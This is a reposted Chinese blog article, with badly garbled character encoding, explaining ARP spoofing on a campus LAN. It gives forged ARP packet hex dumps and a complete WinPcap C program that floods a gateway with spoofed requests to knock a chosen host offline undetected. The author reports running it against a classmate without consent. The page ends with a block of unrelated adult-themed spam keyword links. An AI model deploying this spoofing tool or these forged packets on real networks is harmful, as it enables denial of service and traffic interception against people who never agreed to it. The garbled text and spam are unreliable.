• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            流量統(tǒng)計(jì):
            Rixu Blog (日需博客)
            日需博客,每日必需來(lái)踩踩哦..
            posts - 108,comments - 54,trackbacks - 0
            前段時(shí)間我們學(xué)校的的網(wǎng)絡(luò)總是出現(xiàn)掉線的問(wèn)題,后來(lái)說(shuō)是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

            也想搞清楚這個(gè)ARP欺騙到底是個(gè)什么東西。于是在網(wǎng)上查了點(diǎn)資料,看了點(diǎn)文檔。也算是DIY了一個(gè)出來(lái),而

            且可以不被ANTIARPSNIFFER發(fā)現(xiàn)的讓對(duì)方主機(jī)在網(wǎng)絡(luò)中死掉。于是把這個(gè)小東西貼出來(lái)讓大家一起把玩一下。
                在下菜鳥(niǎo)一只,還請(qǐng)高手指教
            參考資料:《TCP/IP詳解II:實(shí)現(xiàn)》,《WINPCAP 3.0 DOC》,《交換網(wǎng)絡(luò)中的嗅探和ARP欺騙》(一位叫RefDom

            的大哥很久前寫(xiě)的帖子)

                一般在局域網(wǎng)中的各主機(jī)一般都是連接到同一個(gè)交換機(jī)(或是HUB),再由交換機(jī)連接路由器,路由器再與

            相對(duì)于該局域網(wǎng)的外部網(wǎng)絡(luò)相連。在我們的主機(jī)和交換機(jī)的內(nèi)存中,都保留著一張ARP的緩存表(你可以在cmd

            下用arp -a來(lái)查看),它記錄著IP地址和MAC地址的對(duì)應(yīng)關(guān)系。當(dāng)外部網(wǎng)絡(luò)的一個(gè)包傳進(jìn)來(lái),交換機(jī)通過(guò)這個(gè)包

            的IP地址,在他的ARP緩存表中查找其對(duì)應(yīng)的MAC地址(因?yàn)榻粨Q機(jī)是工作在鏈路層的,所以他只會(huì)根據(jù)MAC地址

            來(lái)判斷是哪個(gè)主機(jī)),當(dāng)找到時(shí),他就把這個(gè)包傳給擁有這個(gè)MAC地址的主機(jī)。當(dāng)主機(jī)向外部網(wǎng)絡(luò)通信的時(shí)候,

            主機(jī)查詢自己的ARP緩存表里網(wǎng)關(guān)(在這里就是交換機(jī))(這個(gè)網(wǎng)關(guān)是用IP地址確定的)的MAC地址,然后將包

            傳給交換機(jī),交換機(jī)一看是它的MAC地址,就把這個(gè)包往上傳給路由器。
                我們可以把IP比做姓名,把MAC地址比做聯(lián)系方式
                當(dāng)主機(jī)連接上網(wǎng)絡(luò)時(shí),他會(huì)發(fā)送一個(gè)廣播(ARP REQUEST)說(shuō):大家好,我是IP xxx,這是我的MAC地址aaa,

            大家以后用他聯(lián)系,叫IP YYY的網(wǎng)關(guān)大哥的MAC地址是多少啊 ,小弟以后找還要拜托大哥了,記個(gè)聯(lián)系方式先~
                然后網(wǎng)關(guān)IP YYY告訴IP XXX說(shuō)(ARP REPLY):我就是網(wǎng)關(guān)IP XXX,我已經(jīng)記下了你IP和你的MAC地址,我的

            MAC地址是ccc,以后有事聯(lián)系,別客氣~

                現(xiàn)在,假如出現(xiàn)了一些不明原因的錯(cuò)誤,主機(jī)A中的arp緩存表中網(wǎng)關(guān)IP YYY對(duì)應(yīng)的MAC地址不是網(wǎng)關(guān)的,而

            是另一臺(tái)主機(jī)B的(BBB),那么當(dāng)主機(jī)A發(fā)送了一個(gè)包時(shí),他查詢自己的ARP緩存表,把主機(jī)B的MAC地址填在了

            網(wǎng)關(guān)的地方,然后把包發(fā)了出去,交換機(jī)一看這個(gè)MAC地址,心想這不是給我的小弟B的嗎,于是把這個(gè)包發(fā)給

            了內(nèi)網(wǎng)中的B,而主機(jī)A卻不知道這個(gè)包已經(jīng)迷失在了網(wǎng)絡(luò)中。
               再假設(shè)另一個(gè)錯(cuò)誤,現(xiàn)在主機(jī)中的arp緩存表沒(méi)錯(cuò),而交換機(jī)的緩存錯(cuò)了,主機(jī)A的IP對(duì)應(yīng)的MAC地址上填的是

            主機(jī)B的!,那么當(dāng)外部網(wǎng)絡(luò)的一個(gè)發(fā)給主機(jī)A的包到達(dá)交換機(jī)的時(shí)候,交換機(jī)查自己的ARP緩存表,一看這個(gè)IP

            (A的)對(duì)應(yīng)了自己內(nèi)網(wǎng)中一個(gè)主機(jī)的MAC地址 (B的),于是就把這個(gè)包傳給了擁有這個(gè)MAC地址的B,而不是A


                另外還有一點(diǎn)很重要的是,ARP協(xié)議中,無(wú)論主機(jī)A有沒(méi)有REQUEST或是已經(jīng)收到了REPLY,當(dāng)再有REPLY來(lái)的

            時(shí)候,它都會(huì)記下這個(gè)REPLY中的信息,并更新自己的ARP緩存。同樣交換機(jī),也只要是有主機(jī)發(fā)送ARP REQUEST

            ,他就會(huì)記下這個(gè)信息,并更新自己的ARP緩存,而不會(huì)管這個(gè)請(qǐng)求是對(duì)是錯(cuò)

                原諒我說(shuō)了這么多晦澀的話,但這決不是廢話,因?yàn)樗^的arp欺騙就是將上面所說(shuō)的兩個(gè)錯(cuò)誤人為的造成


               第一種欺騙方法:欺騙主機(jī)A說(shuō),我是網(wǎng)關(guān)IP YYY,我的MAC地址改成BBB了,于是主機(jī)A就出現(xiàn)了我們剛說(shuō)的

            第一種情況的錯(cuò)誤。
               第二種欺騙方法:欺騙交換機(jī)說(shuō),我是主機(jī)A IP XXX,我的MAC地址是BBB,于是交換機(jī)出現(xiàn)了我們說(shuō)的第二

            種情況的錯(cuò)誤。

               既然要騙人家,就要讓別人相信你說(shuō)的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

            這樣別人才會(huì)相信你說(shuō)的假話。
               先來(lái)看下ARP包是個(gè)什么樣的(TCP/IP詳解II圖21-7有詳細(xì)說(shuō)明,大家可以查查看)
            typedef struct ethhdr                //以太網(wǎng)頭部,長(zhǎng)度14
            {
               unsigned char dst[6];        //目的的MAC地址
               unsigned char src[6];        //源的MAC地址
               unsigned short type;         //幀類(lèi)型
            }ETHHDR,*PETHDHR;

            typedef struct eth_arphdr            //以太網(wǎng)arp字段長(zhǎng)度28
            {
               unsigned short arp_hrd;      //硬件類(lèi)型
               unsigned short arp_pro;      //協(xié)議類(lèi)型
               unsigned char   arp_hln;      //硬件地址長(zhǎng)度(6)
               unsigned char   arp_pln;      //協(xié)議地址長(zhǎng)度(4)
                     unsigned short arp_op;       //回應(yīng)還是請(qǐng)求

               unsigned char arp_sha[6];    //發(fā)送者M(jìn)AC地址
               unsigned long arp_spa;       //發(fā)送者IP
               unsigned char arp_tha[6];    //接收者M(jìn)AC地址
               unsigned long arp_tpa;       //接收者IP
            }ETH_ARPHDR,*PETH_ARPHDR;

            typedef struct arp                   //整個(gè)ARP包的結(jié)構(gòu)
            {
                 ETHHDR ethhdr;
                 ETH_ARPHDR eth_arp;
            }ARP,*PARP;  


               現(xiàn)在我們?cè)賮?lái)看下arp request 和arp reply到底是個(gè)什么樣子。
               我打開(kāi)了winpcap devlopment pack中的一個(gè)例子程序TestApp,他帶有很簡(jiǎn)單的嗅探功能,然后我用
            arp -d 10.10.63.254(我的網(wǎng)關(guān)IP地址),清除了我的ARP緩存表中網(wǎng)關(guān)的記錄,過(guò)一下,我再用arp -a查看自

            己的緩存表,網(wǎng)關(guān)的IP,MAC又寫(xiě)上來(lái)了,這說(shuō)明一次REQUEST和REPLY已經(jīng)完成。于是,我在TestApp的輸出中

            找到了他們的包的記錄:
            我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9
            我的網(wǎng)關(guān)的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00

            request的:長(zhǎng)度42
                 FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 

            25 00 00 00 00 00 00 0A 0A 3F FE
            reply的:   長(zhǎng)度60
                 00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 

            FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是用0填充)

            好了根據(jù)這兩個(gè)包,我們就能構(gòu)造惡意的REQUEST和REPLY,假如我們要讓一臺(tái)內(nèi)網(wǎng)中的主機(jī)C消失,假設(shè)他的IP

            是10.10.63.123,MAC地址是11 22 33 44 55 66那么我們可以這樣來(lái)構(gòu)造包(我們使用一個(gè)偽造的MAC地址,比

            如是AA BB CC DD EE FF
            惡意的request:長(zhǎng)度42
                 FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 

            7B 00 00 00 00 00 00 0A 0A 3F FE
            當(dāng)交換機(jī)接受了這個(gè)請(qǐng)求并更新了自己的ARP緩存后,任何發(fā)給10.10.63.123的包都會(huì)轉(zhuǎn)發(fā)到MAC地址是
            AA BB CC DD EE FF的主機(jī)(假如這個(gè)主機(jī)才內(nèi)網(wǎng)中存在的話)
            惡意的reply :長(zhǎng)度60
                 11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
            0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....(后面用0填充)
            當(dāng)主機(jī)接受到了這個(gè)包,并更新了自己的ARP緩存后,他所發(fā)的任何包都會(huì)轉(zhuǎn)發(fā)給擁有這個(gè)MAC地址的主機(jī)(同

            上,這個(gè)主機(jī)必須存在)。
                現(xiàn)在假如交換機(jī)和主機(jī)都被欺騙了,于是就出現(xiàn)了這樣的一個(gè)情況:主機(jī)A和其他主機(jī)或是外部網(wǎng)絡(luò)的一切

            通信就都會(huì)傳給這個(gè)偽造MAC的主機(jī),而如果這個(gè)主機(jī)再將這些包轉(zhuǎn)發(fā)給原來(lái)的接收方的話,他就成了THE 

            MIDDLE MAN,而這種方式也正是交換機(jī)網(wǎng)絡(luò)中的嗅探原理了。有興趣的話,大家也可以寫(xiě)個(gè)試試~

                現(xiàn)在回到我們的話題上來(lái),當(dāng)我們自己的網(wǎng)絡(luò)中出現(xiàn)了類(lèi)似的欺騙的時(shí)候,我們應(yīng)該怎么防范?很多人估計(jì)

            都會(huì)想到用專(zhuān)門(mén)的軟件,比如ANTIARPSNIFFER3.0,這個(gè)軟件實(shí)際是將網(wǎng)關(guān)的IP地址和MAC地址的對(duì)應(yīng)關(guān)系綁定

            ,當(dāng)接受到一個(gè)ARP REPLY時(shí)他會(huì)查看這個(gè)包中發(fā)送方的IP和MAC地址,如果IP是網(wǎng)關(guān)的,而MAC地址不是,那他

            就認(rèn)為這是個(gè)ARP欺騙,于是記錄這個(gè)假的MAC地址(當(dāng)然我們可以偽造,如果你想架禍人的話,也可以填別人

            的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會(huì)在某天被一群人抓出去暴打一頓...,為什

            么我們生活的世界這么暴力,不能和平解決呢?額...我請(qǐng)大哥們吃頓飯?jiān)趺礃樱浚浚?br style="line-height: normal; " />     ANTIARPSNIFFER可以有效的阻止發(fā)送給主機(jī)的欺騙REPLY,但他無(wú)法阻止發(fā)送給交換機(jī)的欺騙REQUEST,因此

            也就無(wú)法捕獲惡意攻擊者的MAC地址,所以我個(gè)人認(rèn)為站在攻擊的角度,第二種欺騙方式要比第一種來(lái)的更加有

            效和不易被發(fā)現(xiàn),畢竟誰(shuí)的會(huì)關(guān)注自身的安全,卻往往忽視社會(huì)整體的安全隱患....要想解決這個(gè)問(wèn)題,就必

            須把交換機(jī)的ARP緩存設(shè)為靜態(tài)(即將IP和MAC的對(duì)應(yīng)關(guān)系鎖死)(使用ARP -S)來(lái)解決。然而,對(duì)于主機(jī)使用

            DHCP動(dòng)態(tài)獲取IP的網(wǎng)絡(luò)(比如我們學(xué)校的網(wǎng)絡(luò)),由于IP與MAC地址無(wú)法在長(zhǎng)時(shí)間內(nèi)保持一致,因此交換機(jī)的

            ARP緩存表必須是可更新的(即動(dòng)態(tài)),于是對(duì)于這種網(wǎng)絡(luò),發(fā)送欺騙REQUEST給交換機(jī)的攻擊方式將是無(wú)法解

            決的....
                也正因?yàn)榇耍宜帉?xiě)的一個(gè)測(cè)試程序是基于第二種攻擊方式(即發(fā)送加的ARP REQUEST請(qǐng)求給交換機(jī))。

            由于是測(cè)試程序,我把一切可能出錯(cuò)的部分都做了最簡(jiǎn)化以方便調(diào)試,程序相當(dāng)簡(jiǎn)陋,不過(guò)仍然很有效。
            另外要說(shuō)明的是,我安裝了WINPCAP 3.0(一個(gè)OPEN SOURCE的網(wǎng)卡驅(qū)動(dòng)項(xiàng)目)和他的開(kāi)發(fā)包。并參考了WINPCAP
            DOC中的程序和RefDom大哥在帖子里的程序,當(dāng)然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實(shí)現(xiàn)》第21



            /////////////////////////////////////////////////////////////////////////////
            //     arp attacker
            //     author:enolaZ
            //     e-mail:enolaz@126.com
            /////////////////////////////////////////////////////////////////////////////
            #include<stdio.h>
            #include"packet32.h"
            #include<winsock2.h>
            #pragma comment(lib,"ws2_32")
            #pragma comment(lib,"packet")

            #define EPT_ARP 0x0806                 //定義了一些在構(gòu)造包的時(shí)候要用到的常量
            #define EPT_IP 0x0800
            #define ARP_HARDWARE 0X0001
            #define ARP_REPLY 0x0002
            #define ARP_REQUEST 0x0001

            #pragma pack(push,1)                 //在定義結(jié)構(gòu)的時(shí)候一頂要用到pack(push,1)和下面的pack(pop)
                                                 //否則你構(gòu)造的結(jié)構(gòu)的長(zhǎng)度會(huì)有問(wèn)題

            typedef struct ethhdr                //以太網(wǎng)頭部,長(zhǎng)度14
            {
               unsigned char dst[6];        //目的的MAC地址
               unsigned char src[6];        //源的MAC地址
               unsigned short type;         //幀類(lèi)型
            }ETHHDR,*PETHDHR;

            typedef struct eth_arphdr            //以太網(wǎng)arp字段長(zhǎng)度28
            {
               unsigned short arp_hrd;      //硬件類(lèi)型
               unsigned short arp_pro;      //協(xié)議類(lèi)型
               unsigned char   arp_hln;      //硬件地址長(zhǎng)度(6)
               unsigned char   arp_pln;      //協(xié)議地址長(zhǎng)度(4)
                     unsigned short arp_op;       //回應(yīng)還是請(qǐng)求

               unsigned char arp_sha[6];    //發(fā)送者M(jìn)AC地址
               unsigned long arp_spa;       //發(fā)送者IP
               unsigned char arp_tha[6];    //接收者M(jìn)AC地址
               unsigned long arp_tpa;       //接收者IP
            }ETH_ARPHDR,*PETH_ARPHDR;

            typedef struct arp                   //整個(gè)ARP包的結(jié)構(gòu)
            {
               ETHHDR ethhdr;
                 ETH_ARPHDR eth_arp;
            }ARP,*PARP;

            #pragma pack(pop)

            #define Max_Num_Adapter 10

            char         AdapterList[Max_Num_Adapter][1024];   //定義的網(wǎng)絡(luò)適配器列表

            int main (int argc,char* argv[])
            {
               LPADAPTER   lpAdapter = 0;               
               LPPACKET    lpPacket;
               int         i;
               DWORD       dwErrorCode;
               WCHAR      AdapterName[8192]; 
               WCHAR      *temp,*temp1;                  //將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList時(shí)用
               int      AdapterNum=0;
               ULONG      AdapterLength;
               ARP arpPacket;                            //定義的包結(jié)構(gòu)實(shí)例
               char szPktBuf[256000];                    //用于存放包的內(nèi)容


                     printf("%d\n",sizeof(ETHHDR));            //這3行是我在測(cè)試結(jié)構(gòu)長(zhǎng)度時(shí)用的,如果沒(méi)有使用之
               printf("%d\n",sizeof(ETH_ARPHDR));        //前說(shuō)的pack(push,1),pack(pop)長(zhǎng)度就成了14,32
               printf("%d\n",sizeof(ARP));               //48,與我們的arp包的格式不符
               i=0;  
               AdapterLength = sizeof(AdapterName);
               if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//獲取所有網(wǎng)絡(luò)適配器
               {
                 printf("Unable to retrieve the list of the adapters!\n");
                 return -1;
               }
               temp=AdapterName;
               temp1=AdapterName;
               while ((*temp!='\0')||(*(temp-1)!='\0'))           //將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList
               {
                 if (*temp=='\0') 
                 {
                   memcpy(AdapterList[i],temp1,(temp-temp1)*2);
                   temp1=temp+1;
                   i++;
                 }
                 temp++;
               }
                
               AdapterNum=i;
               for (i=0;i<AdapterNum;i++)
                 wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //輸出獲得的所有網(wǎng)絡(luò)適配器
               printf("\n");  
              
               lpAdapter =    PacketOpenAdapter(AdapterList[0]);    //得到對(duì)應(yīng)網(wǎng)絡(luò)適配器的_Adapter結(jié)構(gòu),我  

                                                                        //就一個(gè)當(dāng)然是0了  
               if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
               {
                 dwErrorCode=GetLastError();
                 printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
                 return -1;
               }  

                     lpPacket=PacketAllocatePacket();                        //得到一個(gè)包的_Packet結(jié)構(gòu)
               if(lpPacket==NULL)
               {
                 printf("alloc lppacket failed");
                 return -1;
               }

                     ZeroMemory(szPktBuf,sizeof(szPktBuf));                 //將包的緩存區(qū)清空

               arpPacket.ethhdr.dst[0]=0xff;                      //開(kāi)始填充包結(jié)構(gòu)arpPacket
                     arpPacket.ethhdr.dst[1]=0xff;
               arpPacket.ethhdr.dst[2]=0xff;
               arpPacket.ethhdr.dst[3]=0xff;
               arpPacket.ethhdr.dst[4]=0xff;
               arpPacket.ethhdr.dst[5]=0xff;

               arpPacket.ethhdr.src[0]=0x00;                      //一個(gè)偽造的MAC地址
                     arpPacket.ethhdr.src[1]=0x20;
               arpPacket.ethhdr.src[2]=0xce;
               arpPacket.ethhdr.src[3]=0xa8;
               arpPacket.ethhdr.src[4]=0x54;
               arpPacket.ethhdr.src[5]=0x33;

               arpPacket.ethhdr.type=htons(EPT_ARP);
               arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
               arpPacket.eth_arp.arp_pro=htons(EPT_IP);
               arpPacket.eth_arp.arp_hln=6;
               arpPacket.eth_arp.arp_pln=4;
               arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

               arpPacket.eth_arp.arp_sha[0]=0x00;                     //仍然是假的MAC地址
               arpPacket.eth_arp.arp_sha[1]=0x20;
               arpPacket.eth_arp.arp_sha[2]=0xce;
               arpPacket.eth_arp.arp_sha[3]=0xa8;
               arpPacket.eth_arp.arp_sha[4]=0x54;
               arpPacket.eth_arp.arp_sha[5]=0x33;
               arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");    //冒充對(duì)象的IP

                     arpPacket.eth_arp.arp_tha[0]=0x00;
               arpPacket.eth_arp.arp_tha[1]=0x00;
               arpPacket.eth_arp.arp_tha[2]=0x00;
               arpPacket.eth_arp.arp_tha[3]=0x00;
               arpPacket.eth_arp.arp_tha[4]=0x00;
               arpPacket.eth_arp.arp_tha[5]=0x00;
               arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");    //網(wǎng)關(guān)IP
                     printf("%d\n",sizeof(arpPacket));
               memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
               PacketInitPacket(lpPacket,szPktBuf,60);                
                     while(getchar()!='q')                                      //當(dāng)輸入為q時(shí)結(jié)束
               {
                     if(PacketSendPacket(lpAdapter,lpPacket,true)==false)   //不斷發(fā)送偽造信息,將目標(biāo)的正確
                                                                           //ARP REQUEST淹沒(méi)
                 {
                     printf("error in sending packet");
                     return -1;
                 }
               }
               printf("send ok");
               PacketFreePacket(lpPacket);         //一點(diǎn)掃尾的工作
               PacketCloseAdapter(lpAdapter);

                 return 1;
            }

            好了,這個(gè)異常簡(jiǎn)陋的程序結(jié)束了,我對(duì)我們內(nèi)部網(wǎng)的某同學(xué)測(cè)試過(guò),當(dāng)我程序啟動(dòng)不久,去他寢室看,他已

            經(jīng)掉線了,而他的AntiArpSniffer卻沒(méi)有報(bào)警,呵呵這說(shuō)明攻擊很成功~。
            當(dāng)然要說(shuō)明的一點(diǎn)是,這個(gè)東西完全是研究學(xué)習(xí)用,沒(méi)有惡意,也希望大家不要隨便對(duì)別人做壞事,恩恩,為

            了學(xué)習(xí)研究的目的當(dāng)然可以做一下實(shí)驗(yàn),但不要太有破壞性哦~
            Logo
            作者:Gezidan
            出處:http://www.rixu.net    
            本文版權(quán)歸作者和博客園共有,歡迎轉(zhuǎn)載,但未經(jīng)作者同意必須保留此段聲明,且在文章頁(yè)面明顯位置給出原文連接,否則保留追究法律責(zé)任的權(quán)利。
            posted on 2011-08-19 11:55 日需博客 閱讀(4936) 評(píng)論(0)  編輯 收藏 引用 所屬分類(lèi): C C++技術(shù)文章轉(zhuǎn)載
            国产成人久久AV免费| 久久精品国产亚洲Aⅴ蜜臀色欲| 热RE99久久精品国产66热| 久久综合五月丁香久久激情| 久久精品女人天堂AV麻| 久久久亚洲AV波多野结衣| 99久久成人国产精品免费| 久久高潮一级毛片免费| 亚洲AV日韩精品久久久久久 | 久久精品国产91久久综合麻豆自制 | 久久综合狠狠综合久久激情 | 久久久久久无码国产精品中文字幕| 2021国内久久精品| 国产91色综合久久免费| 亚洲人成电影网站久久| 欧美亚洲国产精品久久蜜芽| 亚洲精品无码久久久久AV麻豆| 午夜精品久久久久久久| 老司机午夜网站国内精品久久久久久久久 | 99久久国产宗和精品1上映| 欧美一区二区精品久久| 欧美精品久久久久久久自慰| 亚洲v国产v天堂a无码久久| 国产91色综合久久免费| 久久久av波多野一区二区| 中文精品久久久久人妻| 久久男人AV资源网站| 97久久超碰国产精品旧版| 亚洲熟妇无码另类久久久 | 成人国内精品久久久久一区| 久久亚洲熟女cc98cm| 日韩欧美亚洲国产精品字幕久久久| 精品久久久久久综合日本| 乱亲女H秽乱长久久久| 亚洲AV无码1区2区久久| 99久久综合国产精品免费| 亚洲国产一成久久精品国产成人综合| 亚洲午夜精品久久久久久人妖| 久久国产亚洲高清观看| 狠狠色婷婷久久一区二区三区| 亚洲成色www久久网站夜月|